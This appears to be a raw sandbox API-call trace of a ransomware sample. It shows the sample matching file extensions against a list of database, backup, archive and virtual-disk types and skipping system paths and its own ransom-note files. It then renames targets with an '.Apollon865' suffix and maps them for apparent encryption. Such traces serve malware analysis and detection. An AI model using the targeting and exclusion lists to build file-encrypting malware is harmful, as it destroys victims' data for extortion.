	[0083.607] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.607] lstrlenW (lpString="adf") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.607] lstrlenW (lpString="adn") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.607] lstrlenW (lpString="adp") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.607] lstrlenW (lpString="alf") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.607] lstrlenW (lpString="ask") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.607] lstrlenW (lpString="btr") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.607] lstrlenW (lpString="cat") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.607] lstrlenW (lpString="cdb") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.607] lstrlenW (lpString="ckp") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.607] lstrlenW (lpString="cma") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.607] lstrlenW (lpString="cpd") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.607] lstrlenW (lpString="dacpac") returned 6
	[0083.607] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.608] lstrlenW (lpString="dad") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.608] lstrlenW (lpString="dadiagrams") returned 10
	[0083.608] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0083.608] lstrlenW (lpString="daschema") returned 8
	[0083.608] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.608] lstrlenW (lpString="db-journal") returned 10
	[0083.608] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0083.608] lstrlenW (lpString="db-shm") returned 6
	[0083.608] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.608] lstrlenW (lpString="db-wal") returned 6
	[0083.608] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.608] lstrlenW (lpString="dbc") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.608] lstrlenW (lpString="dbs") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.608] lstrlenW (lpString="dbt") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.608] lstrlenW (lpString="dbv") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.608] lstrlenW (lpString="dbx") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.608] lstrlenW (lpString="dcb") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.608] lstrlenW (lpString="dct") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.608] lstrlenW (lpString="dcx") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.608] lstrlenW (lpString="ddl") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.608] lstrlenW (lpString="dlis") returned 4
	[0083.608] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.608] lstrlenW (lpString="dp1") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.608] lstrlenW (lpString="dqy") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.608] lstrlenW (lpString="dsk") returned 3
	[0083.608] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.608] lstrlenW (lpString="dsn") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.609] lstrlenW (lpString="dtsx") returned 4
	[0083.609] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.609] lstrlenW (lpString="dxl") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.609] lstrlenW (lpString="eco") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.609] lstrlenW (lpString="ecx") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.609] lstrlenW (lpString="edb") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.609] lstrlenW (lpString="epim") returned 4
	[0083.609] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.609] lstrlenW (lpString="fcd") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.609] lstrlenW (lpString="fdb") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.609] lstrlenW (lpString="fic") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.609] lstrlenW (lpString="flexolibrary") returned 12
	[0083.609] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0083.609] lstrlenW (lpString="fm5") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.609] lstrlenW (lpString="fmp") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.609] lstrlenW (lpString="fmp12") returned 5
	[0083.609] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.609] lstrlenW (lpString="fmpsl") returned 5
	[0083.609] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.609] lstrlenW (lpString="fol") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.609] lstrlenW (lpString="fp3") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.609] lstrlenW (lpString="fp4") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.609] lstrlenW (lpString="fp5") returned 3
	[0083.609] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.610] lstrlenW (lpString="fp7") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.610] lstrlenW (lpString="fpt") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.610] lstrlenW (lpString="frm") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.610] lstrlenW (lpString="gdb") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.610] lstrlenW (lpString="gdb") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.610] lstrlenW (lpString="grdb") returned 4
	[0083.610] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.610] lstrlenW (lpString="gwi") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.610] lstrlenW (lpString="hdb") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.610] lstrlenW (lpString="his") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.610] lstrlenW (lpString="ib") returned 2
	[0083.610] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.610] lstrlenW (lpString="idb") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.610] lstrlenW (lpString="ihx") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.610] lstrlenW (lpString="itdb") returned 4
	[0083.610] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.610] lstrlenW (lpString="itw") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.610] lstrlenW (lpString="jet") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.610] lstrlenW (lpString="jtx") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.610] lstrlenW (lpString="kdb") returned 3
	[0083.610] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.610] lstrlenW (lpString="kexi") returned 4
	[0083.610] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.610] lstrlenW (lpString="kexic") returned 5
	[0083.610] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.611] lstrlenW (lpString="kexis") returned 5
	[0083.611] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.611] lstrlenW (lpString="lgc") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.611] lstrlenW (lpString="lwx") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.611] lstrlenW (lpString="maf") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.611] lstrlenW (lpString="maq") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.611] lstrlenW (lpString="mar") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.611] lstrlenW (lpString="marshal") returned 7
	[0083.611] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.611] lstrlenW (lpString="mas") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.611] lstrlenW (lpString="mav") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.611] lstrlenW (lpString="maw") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.611] lstrlenW (lpString="mdbhtml") returned 7
	[0083.611] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.611] lstrlenW (lpString="mdn") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.611] lstrlenW (lpString="mdt") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.611] lstrlenW (lpString="mfd") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.611] lstrlenW (lpString="mpd") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.611] lstrlenW (lpString="mrg") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.611] lstrlenW (lpString="mud") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.611] lstrlenW (lpString="mwb") returned 3
	[0083.611] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.616] lstrlenW (lpString="myd") returned 3
	[0083.616] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.630] lstrlenW (lpString="ndf") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.630] lstrlenW (lpString="nnt") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.630] lstrlenW (lpString="nrmlib") returned 6
	[0083.630] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.630] lstrlenW (lpString="ns2") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.630] lstrlenW (lpString="ns3") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.630] lstrlenW (lpString="ns4") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.630] lstrlenW (lpString="nsf") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.630] lstrlenW (lpString="nv") returned 2
	[0083.630] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.630] lstrlenW (lpString="nv2") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.630] lstrlenW (lpString="nwdb") returned 4
	[0083.630] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.630] lstrlenW (lpString="nyf") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.630] lstrlenW (lpString="odb") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.630] lstrlenW (lpString="odb") returned 3
	[0083.630] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.630] lstrlenW (lpString="oqy") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.631] lstrlenW (lpString="ora") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.631] lstrlenW (lpString="orx") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.631] lstrlenW (lpString="owc") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.631] lstrlenW (lpString="p96") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.631] lstrlenW (lpString="p97") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.631] lstrlenW (lpString="pan") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.631] lstrlenW (lpString="pdb") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.631] lstrlenW (lpString="pdm") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.631] lstrlenW (lpString="pnz") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.631] lstrlenW (lpString="qry") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.631] lstrlenW (lpString="qvd") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.631] lstrlenW (lpString="rbf") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.631] lstrlenW (lpString="rctd") returned 4
	[0083.631] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.631] lstrlenW (lpString="rod") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.631] lstrlenW (lpString="rodx") returned 4
	[0083.631] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.631] lstrlenW (lpString="rpd") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.631] lstrlenW (lpString="rsd") returned 3
	[0083.631] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.631] lstrlenW (lpString="sas7bdat") returned 8
	[0083.631] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.631] lstrlenW (lpString="sbf") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.632] lstrlenW (lpString="scx") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.632] lstrlenW (lpString="sdb") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.632] lstrlenW (lpString="sdc") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.632] lstrlenW (lpString="sdf") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.632] lstrlenW (lpString="sis") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.632] lstrlenW (lpString="spq") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.632] lstrlenW (lpString="te") returned 2
	[0083.632] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.632] lstrlenW (lpString="teacher") returned 7
	[0083.632] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.632] lstrlenW (lpString="tmd") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.632] lstrlenW (lpString="tps") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.632] lstrlenW (lpString="trc") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.632] lstrlenW (lpString="trc") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.632] lstrlenW (lpString="trm") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.632] lstrlenW (lpString="udb") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.632] lstrlenW (lpString="udl") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.632] lstrlenW (lpString="usr") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.632] lstrlenW (lpString="v12") returned 3
	[0083.632] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.632] lstrlenW (lpString="vis") returned 3
	[0083.633] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.633] lstrlenW (lpString="vpd") returned 3
	[0083.633] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.633] lstrlenW (lpString="vvv") returned 3
	[0083.633] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.633] lstrlenW (lpString="wdb") returned 3
	[0083.633] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.633] lstrlenW (lpString="wmdb") returned 4
	[0083.633] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.633] lstrlenW (lpString="wrk") returned 3
	[0083.633] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.633] lstrlenW (lpString="xdb") returned 3
	[0083.633] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.633] lstrlenW (lpString="xld") returned 3
	[0083.633] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.633] lstrlenW (lpString="xmlff") returned 5
	[0083.633] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.633] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.Apollon865") returned 82
	[0083.633] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.638] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.638] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=11104) returned 1
	[0083.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.639] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.639] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.639] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.639] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e60, lpName=0x0) returned 0x15c
	[0083.641] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e60) returned 0x100000
	[0083.643] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.643] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.643] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0083.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0083.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.644] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0083.644] CloseHandle (hObject=0x15c) returned 1
	[0083.644] CloseHandle (hObject=0x9c) returned 1
	[0083.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.644] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="..") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0083.645] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0083.645] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned 71
	[0083.645] lstrcpyW (in: lpString1=0x119e670, lpString2="PPINTL.DLL.trx_dll" | out: lpString1="PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll"
	[0083.645] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0083.645] lstrlenW (lpString="Apollon865") returned 10
	[0083.645] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0083.645] lstrlenW (lpString=".dll") returned 4
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0083.645] lstrlenW (lpString=".lnk") returned 4
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0083.645] lstrlenW (lpString=".ini") returned 4
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0083.645] lstrlenW (lpString=".sys") returned 4
	[0083.645] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0083.645] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0083.645] lstrlenW (lpString="bak") returned 3
	[0083.645] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.645] lstrlenW (lpString="ba_") returned 3
	[0083.645] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.645] lstrlenW (lpString="dbb") returned 3
	[0083.645] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.645] lstrlenW (lpString="vmdk") returned 4
	[0083.646] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.646] lstrlenW (lpString="rar") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.646] lstrlenW (lpString="zip") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.646] lstrlenW (lpString="tgz") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.646] lstrlenW (lpString="vbox") returned 4
	[0083.646] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.646] lstrlenW (lpString="vdi") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.646] lstrlenW (lpString="vhd") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.646] lstrlenW (lpString="vhdx") returned 4
	[0083.646] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.646] lstrlenW (lpString="avhd") returned 4
	[0083.646] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.646] lstrlenW (lpString="db") returned 2
	[0083.646] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.646] lstrlenW (lpString="db2") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.646] lstrlenW (lpString="db3") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.646] lstrlenW (lpString="dbf") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.646] lstrlenW (lpString="mdf") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.646] lstrlenW (lpString="mdb") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.646] lstrlenW (lpString="sql") returned 3
	[0083.646] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.646] lstrlenW (lpString="sqlite") returned 6
	[0083.646] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
